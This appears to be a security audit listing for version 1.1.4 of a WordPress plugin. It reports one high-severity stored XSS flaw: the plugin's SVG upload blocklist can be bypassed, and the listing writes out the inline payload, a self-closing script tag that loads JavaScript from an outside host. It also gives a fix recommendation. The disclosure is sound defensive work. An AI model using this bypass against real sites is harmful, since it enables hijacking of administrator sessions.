High-severity findings.

Audited release

1.1.4

Findings

1

Worst severity

high

Content hash

755c0b4d5c98cdc0fd76bd0e… Copy

Findings

• high SVG validator bypass: self-closing <script href> passes blocklist (stored XSS via uploads)

  xss_stored

  When SVG support is enabled, any user with upload_files (Author+) can upload SVG. Validation relies on a regex blocklist (Svg/Sanitizer.php PATTERNS). The only plain <script> pattern requires a literal closing </script> tag, and the href restrictions only cover use/image/xlink:href with http(s) schemes. A self-closing <script href="//host/x.js"/> (or <script href=...></script > with a space) matches none of the 35 patterns and is valid XML, so it is accepted and served same-origin from uploads. Opening the file URL executes attacker JS in the site origin, enabling admin session abuse.

  includes/Svg/Sanitizer.php:22-82

  Recommendation

  Replace the regex blocklist with a DOM allow-list sanitizer (e.g. enshrined/svg-sanitize) that strips script/foreignObject/handlers and any href not starting with '#'; reject any <script element (open, self-closing or namespaced); optionally restrict SVG upload to unfiltered_html/admins and serve uploads with Content-Security-Policy/Content-Disposition.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.